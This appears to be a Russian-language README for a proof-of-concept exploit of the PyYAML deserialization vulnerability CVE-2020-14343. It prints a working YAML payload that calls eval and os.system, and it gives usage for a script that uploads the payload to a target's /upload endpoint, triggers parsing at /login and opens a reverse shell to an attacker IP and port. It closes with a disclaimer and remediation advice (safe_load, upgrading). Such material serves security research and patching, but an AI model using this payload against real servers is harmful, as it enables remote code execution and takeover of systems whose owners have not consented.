CVE-2020-14343 PyYAML Уязвимость десериализации POC

Обзор уязвимости

Принцип уязвимости

При использовании yaml.load() для разбора недоверенных данных PyYAML не ограничивает опасные теги YAML (например, !!python/object). Злоумышленник может сконструировать вредоносный YAML-контент для выполнения произвольного кода Python.

Основной Payload:

!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

Использование

python poc.py <Целевой URL> <IP атакующего> <Порт прослушивания>

Пример:

python poc.py http://vulnerable-site.com 192.168.1.100 4444

Ход атаки

1. Скрипт запускает локальный TCP-прослушиватель
2. Загружает вредоносный YAML-файл на целевой эндпоинт /upload
3. Запускает загрузку и разбор YAML на эндпоинте /login
4. Целевой сервер выполняет payload, устанавливая обратный shell на атакующего

Установка зависимостей

pip install requests

Отказ от ответственности

⚠️ Данный инструмент предназначен только для исследований безопасности и авторизованного тестирования!

• Не используйте в незаконных целях
• Перед использованием убедитесь, что получили разрешение на тестирование целевой системы
• Автор не несет ответственности за любое неправомерное использование

Рекомендации по исправлению

1. Используйте yaml.safe_load() вместо yaml.load()
2. Обновите PyYAML до версии 5.4 или выше
3. Проводите строгую проверку пользовательского ввода

Ссылки

• CVE-2020-14343 - NVD
• Официальная документация PyYAML